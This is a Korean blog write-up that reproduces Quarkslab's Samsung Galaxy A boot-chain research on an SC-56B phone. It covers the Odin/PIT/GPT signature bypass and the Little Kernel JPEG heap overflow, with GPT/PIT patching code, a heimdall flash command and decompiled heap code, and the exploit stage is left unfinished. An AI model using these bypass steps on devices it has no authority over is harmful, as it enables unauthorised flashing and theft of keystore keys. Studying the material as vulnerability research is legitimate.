[Quarkslab] Attacking the Samsung Galaxy A* Boot Chain

[Quarkslab] Attacking the Samsung Galaxy A* Boot Chain

2025년 1월 16일

ref #

QuarksLab - Attacking the Samsung Galaxy A* Boot Chain
github PoC.
정답지 pdf
정답지 ppt
r0rt1z2 - Mediatek LK Patch
lleaves의 LK 패치
GPT Partition 설명
XDA - Galaxy PIT file structure
lk - partition_get_index 검색해서 나온 글
lk - dprint 검색해서 나온글


개요 #

기기의 언락 취약점을 찾는 연구 과정에서 방향을 잡지 못하고 있었고, QuarksLab에서 비슷한 연구가 진행되어 정리한 글을 알게돼서 연습삼아 시작했다.

이 글은 위의 레퍼런스(정답지) 문서를 하나하나 따라가며 다시 분석해보고 Galaxy A22 Docomo (SC-56B) 에서 재현하기 위한 글이며, 미디어텍 갤럭시 A시리즈에서 발생한 Little Kernel, Secure Monitor 에 대한 취약점을 악용해서 Keystore Key 를 유출시키는 시나리오이다.

발표자료를 따라 진행해보니 ODIN 취약점이 가장 먼저 사용돼서 따라가기 편한 순서대로 순서는 변경했다.

사전지식 #

CVE-2024-20832 #

Little Kernel의 힙 오버플로우 취약점. 삼성은 로고와 오류 메시지를 부팅 중에 표시하기 위해 JPEG 이미지를 사용하고, JPEG 파서 코드를 Little Kernel에 추가했는데, JPEG를 고정크기 구조체에 로드하지만 파일 크기를 확인하지 않기 때문에 힙 오버플로우가 발생해 원하는 코드를 실행할 수 있게 된다.

CVE-2024-20865 #

삼성의 Odin 은 USB를 통해 파티션을 플래싱하는 도구인데, GPT(GUID Partition Table)는 인증 없이 플래싱이 가능하기 때문에 GPT를 통해 PIT(Parition Information Table)를 변경하고, 인증 없이 다른 파티션을 플래싱할 수 있다.

CVE-2024-20820 #

Secure Monitor에서 특정 SMC 핸들러(id: 0xc2000526)에서 Out-of-Bounds 범위의 메모리를 읽을 수 있는 취약점

CVE-2024-20021 #

특정 SMC 핸들러(id: 0x8200022a)를 통해 임의의 물리적 메모리(최대 1MB)를 가상 메모리에 매핑 가능한 취약점

Heimdall (github) #

삼성 기기에 펌웨어를 플래시할 때 다운로드 모드에서 내부적으로 Loke 라는 부트로더 레벨 소프트웨어가 Odin 이라는 PC 클라이언트 프로그램이 보내는 이미지를 받아 실제 스토리지 파티션에 데이터를 써넣는 역할을 한다.

Heimdall은 오픈소스 USB 라이브러리인 libusb을 이용해서 Odin과 비슷하게 Loke를 통해 플래시하는 오픈소스 도구이다.

아래 스크립트를 리눅스에서 실행하면 설치된다.

 1# install_heimdall.sh
 2mkdir POC
 3cd POC
 4sudo apt-get update
 5sudo apt-get upgrade
 6
 7sudo apt-get install -y cmake g++ clang zlib1g-dev libusb-1.0-0-dev
 8sudo apt-get install -y qt5-qmake qtbase5-dev qtchooser qtbase5-dev-tools 
 9
10git clone https://github.com/Benjamin-Dobell/Heimdall.git
11cd Heimdall
12mkdir build
13
14cd build
15cmake -DCMAKE_BUILD_TYPE=Release ..
16make

LK 분석 방법 #

앞으로 사용할 취약점들이 존재하는 위치는 LittleKernel 이며, 펌웨어 이미지에서는 lk-verified.img 파일에 포함되어 있다.

heap overflow 취약점이 존재하는 drawimg 함수가 이미지에 포함된 것을 확인할 수 있다.

2c6b6b8f-3ad7-4aa6-942e-898607fefbb4

lk 바이너리는 절대주소를 참조하는 경우가 많기 때문에 Ghidra에서 분석하기 위해서 이미지 로드 주소를 찾아와야 한다.

예전에는 헤더의 0x2c 오프셋에서 이미지 로드 주소를 알 수 있었지만, SC-56B 의 LK 이미지에서는 바이너리 패턴으로 10FF2FE1 을 검색 후 4byte를 지나서 보이는 0x48200000 이 이미지 로드 주소이다.
헤더의 크기는 0x200 고정 크기이다.

fb3693fa-4c8a-4d26-aed7-fbc591afa781

Ghidra 에 올린 뒤 armv7 32 little default 로 언어를 설정하고, Options에서 BaseAddress: 0x48200000, Offset: 0x200, Length: NULL 로 세팅하고 실행하면 분석할 수 있게 된다.

8901bfc7-eb43-41f5-b17f-c8d29f2e5b58


절차 #

1. Odin/PIT/GPT의 이해 #

Odin은 삼성 자체적으로 펌웨어 usb 플래싱을 위해 사용하는 프로토콜이며, 삼성이 LittleKernel에 구현해둬서 기기를 다운로드 모드(Odin 모드)로 설정하면 usb를 통해 Odin PC 클라이언트와 통신하여 플래싱할 수 있게 된다.

Odin은 클로즈드 소스지만, Heimdall이라는 Odin 프로토콜을 구현한 오픈소스 프로젝트가 있다.


PIT #

PIT(Partition Information Table)는 Odin에게 플래시할 펌웨어 이미지에 대해 타겟 파티션 정보를 제공하는 역할을 하며, PIT를 변경할수는 있지만 삼성의 개인키로 서명된 이미지가 필요하고(이미지의 하단에 서명정보가 저장됨), 이건 부트 과정에서 기기 출하 시 기기의 eFuse ROM에 저장된 공개키로 검증된다.

e815d44e-d9ec-4248-a252-d49a5e1c2dcc

PIT 정보는 기기의 eMMC 나 펌웨어 이미지의 CSC 압축 파일에 있으며, PIT Magic이나 HeimDall로 분석이 가능하다.

PIT에 대한 정보가 담긴 header(0x1c byte)와 각 파티션의 정보가 담긴 entry(각 0x84 byte) 로 구성되며 아래의 사진에서 entry의 일부 파싱된 정보를 확인할 수 있다.

0366095b-10d2-4a69-b904-23ad82183137

플래시될 때 모든 파티션이 검증되는 것이 아니라, LK 에서 check_secure_download -> LookupAuthInfo 함수가 호출될 때 global array를 순회하며 포함되어 있는 파티션만 검증한다.
check_secure_boot -> LookupAuthInfo 순서로 부팅할 때도 global array를 기준으로 검증한다.

 1// LookupAuthInfo 함수. 로그에 찍히는 문자열로 검색할 수 있었다. 
 2int FUN_48230884(undefined4 param_1)
 3{
 4  int iVar1, iVar2, iVar3, iVar4;
 5  
 6  iVar2 = 0;
 7  iVar4 = *(int *)(DAT_482308c8 + 0x48230890);
 8  iVar3 = iVar4 + 4;    // 시작은 "bootloader" 문자열
 9  do {
10    iVar1 = strcmp(param_1, iVar3);    // param_1 값이랑 비교
11    iVar3 = iVar3 + 0x5c;              // 이후 global_array 의 원소 크기는 0x5c 이다. 
12    if (iVar1 == 0) {
13      return iVar4 + iVar2 * 0x5c;
14    }
15    iVar2 = iVar2 + 1;
16  } while (iVar2 != 0x27);
17  /* "[%s] not found %s authinfo \n", "LookupAuthInfo", param_1 */
18  FUN_4825c6e8(DAT_482308cc + 0x482308c0, DAT_482308d0 + 0x482308c2, param_1);
19  return 0;
20}

global array 를 살펴보면 파티션 이름들이 보이는 것을 볼 수 있다.
총 0x27(39)개의 원소가 정적으로 코드에 포함되어 있다고 보면 된다.

dbb33aa6-8c36-4612-8a01-cf672934986e

SC-56B의 global array #

ghidra 스크립트를 실행시키면 추출할 수 있다. 코드를 분석해서 시작 주소와 배열 사이즈를 지정해서 실행시키자.

 1from ghidra.program.model.data import TerminatedStringDataType
 2from ghidra.program.model.data import DataUtilities
 3
 4START_ADDR = 0x48337c78
 5ARRAY_SIZE = 0x27
 6STEP_SIZE = 0x5c
 7
 8current = toAddr(START_ADDR)
 9global_array_str = []
10
11for i in range(0, ARRAY_SIZE):
12    DataUtilities.createData(currentProgram, current, TerminatedStringDataType(), -1, False, DataUtilities.ClearDataMode.CLEAR_ALL_CONFLICT_DATA)
13    global_array_str.append(getDataAt(current))
14    current = current.add(STEP_SIZE)
15
16print(global_array_str)

결과

1[ds "bootloader", ds "pit", ds "efs", ds "sec_efs", ds "spmfw", ds "scp1", ds "sspm_1", ds "uh", ds "tee1", ds "tzar", ds "gz1", ds "lk", ds "dpm_1", ds "audio_dsp", ds "mcupm_1", ds "dtbo", ds "vbmeta", ds "metadata", ds "md1img", ds "pi_img", ds "cam_vpu1", ds "cam_vpu2", ds "cam_vpu3", ds "param", ds "up_param", ds "boot", ds "recovery", ds "vbmeta_system", ds "efuse", ds "super", ds "prism", ds "optics", ds "cache", ds "carrier", ds "omr", ds "spu", ds "hidden", ds "userdata", ds "misc"]

결과와 PIT를 비교해보면 up_param은 검증이 되고, md5hdr, md_udc, pgpt, sgpt, vbmeta_vendor 등의 파티션이 검증되지 않는 것을 알 수 있다.


GPT (GUID Partition Table) #

605a370e-c742-46a8-8101-b5931b1f4228

MBR 방식을 대체하기 위해 고안된 파티션 테이블이며, 많은 논리파티션을 생성할 수 있기 때문에 모바일 기기에서 대부분 GPT를 사용한다.
pgpt, sgpt 파티션은 GPT의 primary GPT, secondary GPT 영역을 말하며, 오딘과 통신하며 펌웨어가 플래시될 때 PIT 파일을 참고해서 오딘이 파티션을 GPT 구조mbr + pgpt + Partitions... + sgpt 로 나누게 되고 pgpt, sgpt 에 정보를 기록해둬서 부팅이나 운영시에는 GPT 테이블을 기준으로 파티션 정보를 확인한다.

d69fb73b-d67e-49dc-bc7e-f7a7ba715ddb

헤더 a20b7571-32bc-4818-9248-b925588ff928

엔트리 구조 7e0975f5-a4e6-4cf4-8567-a365deba660a


2. JPEG를 up_param 파티션에 올리기 (CVE-2024-20865) #

이 글의 메인 취약점인 heap overflow(CVE-2024-20832) 를 트리거 하기위해 플래시메모리에 원하는 JPEG를 플래시할 수 있어야 한다.

위에서 정리된 것처럼 펌웨어를 플래시(또는 부팅)할 때 LK에서 구현된 Odin 프로토콜에서 check_secure_download(또는 check_secure_boot) 함수가 호출되며 이미지의 서명을 검증하는데, global array에 없다면 검증되지 않고 플래시가 가능하다.

하지만 heap overflow 취약점을 사용하기 위해 플래싱 해야되는 up_param 파티션은 검증 대상이라 플래싱할 수 없는데 검증하지 않는 pgpt 파티션을 이용하면 우회할 수 있다.

92242ffc-a10b-439b-a895-cf42ebde45a1

heimdall로 서명 없는 up_param을 플래시할 때 발생하는 다운로드 에러


취약점 설명 #

LK 에서 pit 파티션은 고정 오프셋 위치에서 참조하지만, pgpt 영역에 pit 영역이 있다면 우선순위가 pit 고정 오프셋 < pgpt.pit 오프셋 이 되는 것이며, 이 pgpt 파티션은 플래시할때 검증되지 않기에 이 영역을 변조하게 되면 pit 위치를 마음대로 조작할 수 있다는 의미가 된다.

lk 바이너리의 일부 함수들은 로그를 출력하기 때문에 read pit 문자열을 검색하면 함수 코드를 찾을 수 있다.

8f2af76f-7b51-4174-8f59-b45c3d50a263

 1// read_pit 함수
 2undefined4 FUN_48253b38(void)
 3{
 4  // pit table은 고정 주소에 로드된다. 
 5  uVar4 = 0x6000;
 6
 7  // 만약 GPT에 pit 파티션이 있는 경우 고정 pit 주소 대신 GPT에서 가져온다. 
 8  iVar3 = DAT_48253ba8 + 0x48253b48;       // ="pit"
 9  iVar1 = get_partition_table(iVar3);      // GPT 테이블에 "pit" 있는지 체크
10  if (iVar1 == 0) {
11    uVar4 = get_partition_offset(iVar3);   // 있다면 오프셋 가져옴
12  }
13  iVar1 = DAT_48253bac;
14  uVar2 = storage(3);
15  iVar3 = storage_read(uVar2, 0x4000, (int)uVar4, (int)((ulonglong)uVar4 >> 0x20), iVar1 + 0x48253b5e, 0x4000);
16  if (iVar3 < 0) {
17                    /* "read pit failed" 문자열이 검색된 위치 */
18    FUN_4825c294(DAT_48253bb0 + 0x48253ba0);
19  }
20  else {
21    FUN_48272f9c(local_2c, iVar1 + 0x48253b5e, 0x1c);
22    if (local_2c[0] == 0x12349876) {    // 잘 읽어왔는지 마지막 확인 
23       return 0;
24    }
25  ...
26}

odin에서 플래시할때나 힙오버플로우에 사용되는 JPEG 로드시 사용하는건 pit를 접근하도록 되어있고, 나머지 시간(부팅 등)에는 GPT를 사용하도록 되어있다.

  1. 처음 정상 플래싱 후 동작하는 기기의 플래시메모리 모습은 이렇게 PIT와 GPT가 동일하게 세팅되어 있을 것이다.

40bc8d2e-fb8a-4d70-b763-076d367af3c6

  1. 플래시할 때 검증하지 않는 vbmeta_vendor 파티션에 조작된 PIT를 플래시하고, pgpt(역시 검증하지않음)에 vbmeta_vendor 영역을 pit로 이름만 변경해두면 앞으로 이 pit를 접근하게 된다.

  2. 조작된 PIT를 만들때도 검증하지 않는 md5hdr 파티션을 up_param 이라고 이름을 세팅하고, heap overflow가 유발되도록 조작된 up_param 을 md5hdr 파티션에 올리면 JPEG 로드할 때 이 gpt.pit의 up_param에서 이미지를 읽어와서 heap overflow가 발생하게 된다.

db0d0a00-3830-4d7c-ae70-e78e7d6a60fa

  1. 부팅할때 Chain of Trust에 해당하는 핵심 파티션만 검증 대상에 포함되는데 PIT는 포함되지 않기 때문에 정상적 부팅이 가능하다.

취약점 사용 #

  1. gpt 영역 dump 하기. lk 영역이 담긴 플래시메모리의 GPT 영역을 덤프해야하며, mtkclient를 사용하거나 루트 권한이 필요하다. 6c576f8a-d319-4e8f-aa18-acc43cbb25f5
    gpt 영역 범위 : 0x0 ~ 0x5FFF

     1# UFS라서 sdc 메모리에 있으며 17은 논리파티션 번호를 가리킨다
     2# eMMC의 경우 mmcblk0p12 같은 파티션에 있음
     3:/ $ ls -la /dev/block/by-name/ | grep lk
     4lrwxrwxrwx 1 root root   16 2025-01-20 17:07 lk -> /dev/block/sdc17
     5
     6# mtkclient로 추출
     7$ python $MTKCLIENT_DIR/mtk r gpt gpt.bin --preloader <path/to/preloader>
     8# 또는 dd 로 추출 (rooted device)
     9:/ $ dd if=/dev/block/sdc bs=0x1000 count=6 of=/sdcard/download/dum_gpt.bin
    10
    11# gpt 범위가 맞는지 확인하기 위해 0x6000부터 pit가 있는것을 확인
    12:/ $ dd if=/dev/block/sdc bs=0x1000 count=1 skip=6 | xxd 
    1300000000: 7698 3412 3700 0000 434f 4d5f 5441 5232  v.4.7...COM_TAR2
    1400000010: 4d54 3638 3533 0000 0000 0000 0000 0000  MT6853..........
    
  2. up_param, pit는 펌웨어 이미지에서 꺼내기

  3. up_param 수정
    up_param.img는 이미지들이 tar로 묶인 파일이라 압축을 해제하면 아래와 같은 이미지들을 볼 수 있다. 61c01d14-a316-4bf1-afe4-e36bca754170 처음엔 download.jpg 에만 도지를 집어넣었지만 여러 삽질 끝에 대부분의 이미지에 도지 그림을 집어넣고, tar로 다시 묶었다.
    tar를 풀었을때 폴더 바로 아래에 이미지들이 보이도록 묶어야하고, up_param.bin/폴더/* 구조처럼 폴더를 묶지 않도록 주의하자 9ac9d0fe-ab03-4cb2-8855-b506273ab3d1

  4. PIT, GPT 파일 패치 odin_sig_bypass.py 코드가 eMMC 기준으로 작성되어 있어서 UFS 기준으로 변경해야한다
    LBA_SIZE=0x1000, gpt_header.padding=0x1000-0x5c
    gpt header crc32는 0x200 바이트까지만 해야한다.

     1# 주요 코드
     2# UFS에 맞게 블록사이즈 0x1000으로 조절
     3LBA_SIZE = 0x1000
     4class gpt_header(Structure):
     5    _fields_ = [
     6        ...,
     7        ('padding', c_uint8 * 0xfa4)  # 0x1000 - 0x5c
     8    ]
     9
    10# patch PIT
    11if entry.get_partitionName() == "md5hdr":
    12    entry.set_partitionName("up_param".encode('utf-8'))
    13    entry.set_flashFilename("up_param".encode('utf-8'))
    14elif entry.get_partitionName() == "up_param":
    15    entry.set_partitionName("md5hdr".encode('utf-8'))
    16    entry.set_flashFilename("md5.bin".encode('utf-8'))
    17
    18# patch GPT 
    19header = gpt_header.from_buffer_copy(fd.read(sizeof(gpt_header)))
    20# vbmeta_vendor -> pit
    21if part.get_guid() == b'ANDROID vbmeta_v':
    22    part.set_name("pit".encode('utf-16-le'))
    23    part.set_guid(b"ANDROID pit\x00\x00\x00\x00\x00")
    24# spu -> vbmeta_vendor (정상 부팅을 위해선 vbmeta_vendor 파티션 필요)
    25elif part.get_guid() == b"ANDROID spu\x00\x00\x00\x00\x00":
    26    part.set_name("vbmeta_vendor".encode('utf-16-le'))
    27    part.set_guid(b'ANDROID vbmeta_v')
    28
    29# fix crc32 in header. 
    30# 전체 파티션 엔트리 체크섬을 헤더에 넣고 
    31# 헤더 체크섬을 다시 계산해서 crc32에 넣는다. 이때 crc32는 0으로 간주
    32crc32_part = binascii.crc32(content[0:header.num_part_entries*sizeof(gpt_partition)])
    33header.crc32_part_array = crc32_part
    34header.crc32 = 0
    35header.crc32 = binascii.crc32(bytes(header)[:0x200])    # crc는 0x200 크기까지만 계산
    
  5. 패치한 이미지들을 heimdall을 이용해서 플래시한다.

    1$ heimdall flash --vbmeta_vendor <fake_pit> --md5hdr <fake_up_param> --pgpt <pgpt>
    
  6. OEM Unlock 모드로 진입하면 변경된 이미지가 보이고, 정상 부팅도 가능하다.
    다운로드 모드에서는 lk에 고정으로 포함된 download.jpg 파일을 사용하기 때문에 up_param 파티션의 도지 이미지가 사용되지 않는다.
    57b86f0b-93cb-4c67-84f5-bf4675aa43e1
    실제로 기기에서 확인할때도 다운로드 모드에서는 도지를 볼 수 없었다. 21f01166-bb4b-4a66-b2bc-3bf48d632548


3. Heap Overflow 취약점 확인 (CVE-2024-20832) #

“drawimg” 로 검색해보면 heap overflow 취약점이 발생한 위치와 동일한 코드를 확인할 수 있다.

cdfd4e75-1196-446f-8e0b-4e5052f46a8b

디컴파일된 코드에 함수명을 붙여보면 이런식으로 구현되어 있고, memset을 0x100000 만큼 수행하고 read_jpeg_file 에는 인자를 0을 넘기는 것을 볼 수 있다.

 1    iVar2 = malloc(0x100000);
 2    piVar6 = *(int **)(iVar1 + 0x48221d02);
 3    *piVar6 = iVar2;
 4    if (iVar2 == 0) {
 5      /* "%s: img buf alloc fail\n", "drawing" */
 6      log(DAT_48221ed8 + 0x48221e8a, DAT_48221edc + 0x48221e8c);
 7      uVar3 = 0xffffffff;
 8    }
 9    else {
10      memset(iVar2, 0, 0x100000);
11      /* extern size_t read_jpeg_file(const char *file_name, void *img_buf, size_t buf_size); */
12      iVar1 = read_jpeg_file(puVar5, *piVar6, 0);
13      if (iVar1 == 0) {
14        /* "%s: read %s from up_param as 0 size\n", "drawing" */
15        log(DAT_48221ed0 + 0x48221e72, DAT_48221ed4 + 0x48221e74, puVar5);
16        uVar3 = 0xffffffff;
17      }

read_jpeg_file 함수는 세번째 인자가 0 일때 jpeg 파일과 buf_size를 확인하지 않고 무조건 real_size(up_param의 이미지 크기) 만큼 가져오는 것을 볼 수 있다.

위의 코드에서 img_buf = malloc(0x100000); 코드로 1MB 사이즈만큼 힙에 버퍼를 만들었지만 이 크기보다 큰 이미지가 들어오는 경우 힙 오버플로우가 발생하게 된다.

 1uint _read_jpeg_file(int param_1, undefined4 file_name, undefined4 img_buf, uint buf_size)
 2{
 3    ...
 4    do {
 5      iVar1 = strcmp(local_228,file_name);
 6      if (iVar1 == 0) {
 7        real_size = FUN_48272da8(auStack_1ac, 0, 8);
 8        /* buffer_size가 0이 아닌경우 real_size(실제 이미지사이즈)와 비교해서
 9           사이즈가 더 작으면 에러 */
10        if (buf_size != 0 && buf_size < real_size) {
11          /* read fail (buf_size < uVar3) */
12          FUN_4825c6e8(DAT_48257e08 + 0x48257dea, buf_size, real_size);
13          return 0;
14        }
15        /* real_size 만큼 img_buffer에 읽기. buf_size는 영향을 주지 않는다. */
16        iVar3 = FUN_48257cd4(param_1, uVar2 + 1, real_size, img_buf);
17        if (iVar3 != 0) {
18          return 0;
19        }
20        /* "read '%s'(%d) completed.\n", file_name, real_size */
21        log(DAT_48257e04 + 0x48257dd6, file_name, real_size);
22        return real_size;
23      }
24      iVar1 = FUN_48272da8(auStack_1ac, 0, 8);
25      uVar2 = uVar2 + (iVar1 - 1U >> 9) + 2;
26    } while (uVar2 < real_size);
27    ...
28}

4. lk의 miniheap 관리 이해 #

lk miniheap.c

LK는 부팅시 사용 가능한 물리메모리 공간에 대한 범위 정보를 arena라는 구조체 배열에 초기화 하는데, 각 arena는 현재 범위에서 사용 가능한 메모리를 페이지단위로 나눠서 free_list에 넣어서 관리한다.

1992bc43-d8b6-4dab-ab11-f319618e1ddb

구조체 #

 1// free 된 상태의 힙 청크를 의미
 2struct free_heap_chunk {
 3    struct list_node *prev;
 4    struct list_node *next;
 5    size_t len;
 6};
 7
 8// 할당된 상태의 힙청크 헤더 (메타데이터)
 9struct alloc_struct_begin {
10#if LK_DEBUGLEVEL > 1
11    unsigned int magic;   // HEAP_MAGIC == 'HEAP'
12#endif
13    void *ptr;
14    size_t size;
15#if DEBUG_HEAP
16    void *padding_start;
17    size_t padding_size;
18#endif
19};
20
21// 힙을 관리를 위한 구조체
22struct heap {
23    void *base;
24    size_t len;
25    size_t remaining;
26    size_t low_watermark;
27    mutex_t lock;
28    struct list_node free_list;
29};
30
31// 파일 내에서만 접근할 수 있는 전역 힙 선언
32static struct heap theheap;

miniheap_init #

힙(theheap)은 초기화될때 arena에서 하나의 페이지를 받아서 theheap의 base주소로 사용되고, free_list에 추가된다.

 1static inline void HEAP_INIT(void) {
 2    /* start the heap off with some spare memory in the page allocator */
 3    size_t len;
 4    void *ptr = page_first_alloc(&len);
 5    miniheap_init(ptr, len);
 6}
 7
 8void miniheap_init(void *ptr, size_t len) {
 9    mutex_init(&theheap.lock);
10    list_initialize(&theheap.free_list);    // list->prev = list->next = list;
11
12    // set the heap range
13    theheap.base = ROUNDUP((uintptr_t)ptr, sizeof(uintptr_t));   // align heap base
14    theheap.len = len;
15    theheap.remaining = 0; // will get set by heap_insert_free_chunk()
16    theheap.low_watermark = 0;
17
18    // if passed a default range, use it
19    if (len > 0)
20        heap_insert_free_chunk(heap_create_free_chunk(ptr, len, true));
21}

miniheap_alloc #

arena의 free_list는 페이지 단위로 각 노드가 만들어져 있지만, theheap의 free_list는 더 작은 단위로 할당할 수 있도록 페이지를 조각내서 관리할 수 있다.

 1void *miniheap_alloc(size_t size, unsigned int alignment) {
 2    ...
 3    // 1. 실제 할당 크기 계산 (원래 요청한 크기 + 메타데이터, 힙 디버그 패딩 등 옵션에따라)
 4
 5    ptr = NULL;
 6    struct free_heap_chunk *chunk;
 7retry:
 8    list_for_every_entry(&theheap.free_list, chunk, struct free_heap_chunk, node) {
 9        ...
10        // 2. free_list 에서 충분히 큰 chunk를 찾으면 free_list에서 제거한 뒤
11        //      필요한만큼만 쓰고 나머지는 다시 오프셋과 사이즈를 조절해서 free_list에 넣어둔다.
12        if (chunk->len >= size) {
13            ptr = chunk;
14            // remove it from the list
15            struct list_node *next_node = list_next(&theheap.free_list, &chunk->node);
16            list_delete(&chunk->node);
17
18            if (chunk->len > size + sizeof(struct free_heap_chunk)) {
19                // chunk 가 더 크면 나머지는 newchunk로 만든다
20                // | [chunk] ptr(size) | [newchunk] ptr+size(나머지) |
21                struct free_heap_chunk *newchunk = heap_create_free_chunk((uint8_t *)ptr + size, chunk->len - size, true);
22
23                // chunk는 이제 할당해야 해서 할당할 size로 세팅한다.
24                chunk->len -= chunk->len - size;
25
26                // newchunk는 theheap.free_list 에 다시 넣는다. 
27                if (next_node)
28                    list_add_before(next_node, &newchunk->node);
29                else
30                    list_add_tail(&theheap.free_list, &newchunk->node);
31            }
32
33        // 3. 힙 디버깅 모드인 경우 memset(ptr, 0x99, size); 패딩영역은 memset(pad_start, 0x55, pad_size);
34
35        // 4. 할당된 힙 메모리에 메타데이터(alloc_struct_begin) 를 채워넣어 초기화한다.
36        //      이때 구조는 |alloc_struct_begin|----heap_buffer----|-padding?-| 형식이 된다. 
37
38    }
39    // 5. 만약 할당에 실패하면 heap_grow를 통해 힙을 늘린뒤 retry로 이동해 재시도한다. 

miniheap_free #

 1void miniheap_free(void *ptr) {
 2    ...
 3// 힙 디버그 설정한 경우 buffer overrun을 검사하고, 깨져있다면 panic으로 바로 종료시킨다. 
 4#if DEBUG_HEAP
 5    {
 6        uint i;
 7        uint8_t *pad = (uint8_t *)as->padding_start;
 8
 9        for (i = 0; i < as->padding_size; i++) {
10            if (pad[i] != PADDING_FILL) {
11                printf("free at %p scribbled outside the lines:\n", ptr);
12                hexdump(pad, as->padding_size);
13                panic("die\n");
14            }
15        }
16    }
17#endif
18
19// 해제할 힙을 free_chunk로 만들어 theheap의 free_list에 다시 저장해둔다. 
20    heap_insert_free_chunk(heap_create_free_chunk(as->ptr, as->size, true));
21
22// 메모리를 효율적으로 사용하기 위해 
23#if MINIHEAP_AUTOTRIM
24    miniheap_trim();
25#endif
26}

5. HEAP Overflow 취약점 이해 #

위의 alloc, free 코드에서 볼 수 있듯 LK 힙의 구조가 페이지 하나 안에서 할당할 chunk와 남은 newchunk 가 연속적으로 존재하고, newchunk는 theheap.free_list 의 고리에 연결되기 때문에
할당한 chunk가 오버플로우가 발생하고 연속된 chunk가 할당되지 않은 free_list의 chunk라면 theheap.free_list 의 연결고리에 영향을 직접적으로 줄 수 있게 된다.

theheap.free_list 에서 할당에 사용된 chunk를 삭제하는 로직도 공격에 중요한 역할을 한다.

취약점 설명 #

여기까지 이해했다면 No ASLR, No canaries, No bounds check in the heap algorithm, Heap is executable 이 네가지 LK 전제조건으로 아주 쉬운 공격이 가능하다. (LK에서는 이 조건이 만족된다)

4305dec6-03ac-4ed5-91e7-3d7470f7c8f4

  1. JPEG Buffer를 할당받은 후 free_list.chunk (fake chunk) 까지 오버런해서 원하는 데이터를 쓸 수 있다.
  2. 오버런해서 만든 fake chunk 에서 prev는 쉘코드를 가리키고, next는 스택에 있는 리턴주소가 담긴 주소를 가리키게 한다. chunk->prev = &shellcode, chunk->next = &ret_addr
  3. 감염된 fake chunk 크기만큼 한번 더 할당을 받으면 free_list에서 노드를 제거하는 코드에 의해 스택의 리턴주소 위치 item->next->prev 가 힙의 shell code item->prev 를 가리키게 된다.
     1// miniheap_alloc
     2struct list_node *next_node = list_next(&theheap.free_list, &chunk->node);
     3list_delete(&chunk->node);
     4
     5static inline void list_delete(struct list_node *item) {
     6    // 이 코드에 의해 stack의 prev 위치(offset 0x0 = 리턴주소)가 쉘코드 주소로 변경된다.
     7    item->next->prev = item->prev;
     8    // 이 코드에 의해 쉘코드의 next 위치(offset 0x4)가 스택주소로 변경된다. (필요없는 값)
     9    item->prev->next = item->next;
    10    item->prev = item->next = 0;
    11}
    
  4. 공격 페이로드에서 miniheap_alloc 함수가 호출될 때 스택에 푸시된 리턴 주소영역을 사용하면, 힙이 alloc 되면서 free_list에서 제거되는 과정에서 쉘코드 주소가 스택에 세팅되고 miniheap_alloc이 리턴되며 다시 쉘코드로 점프하게 되는 것이다.

6. 쉘코드에서 사용할 주소 찾기 #

오버플로우로 조작한 fake_chunk의 next 필드에, 원하는 크기 힙을 할당하는 miniheap_alloc() 호출의 반환 주소가 기록된 스택 위치를 넣어야 하므로, 우선 해당 스택 주소를 찾아야 한다.

draw_img 안에서 오버플로우 발생 이후 fake_chunk 힙 크기 만큼 재할당 하는 상황의 주소를 알아야 함수의 리턴 주소를 쉘코드로 조작할 수 있으며, 함수가 리턴될때 쉘코드가 실행되도록 할 수 있다.

miniheap_alloc 의 리턴 주소가 담긴 스택 주소 찾기 #

lk를 패치해서 함수에 훅을 걸고 원하는 주소를 파악하는 방향으로 할 수 있을까?

TODO 이부분 진행중인데, 두가지 관점에서 해결해야할부분이 있따.
첫번쨰로 취약점을 트리거하기 위해 힙의 구조가 동일해야한다는 것이다. 만약 특정 크기의 힙청크를 미리 만들어놨는데, 원치않을때 트리거되거나 힙청크가 분해될지도 모른다.
두번째로 리턴어드레스가 담긴 스택영역의 주소를 어떻게 알아오냐 이다. 리버싱을 통해서 draw_img 를 따라가다가 miniheap_alloc을 호출하는 원하는 힙 크기를 지정하면 될거같은데 스택주소는 어떻게 알아내지? 어떤 타이밍에 덤프하기? 미니힙얼록 훅 해서 스택덤프? 훅은 어덯게하지? 훅이 된다면 좋은점은 힙할당순서도 확ㅇ니할 수 있다.

lk 패치하는 방법

comments powered by Disqus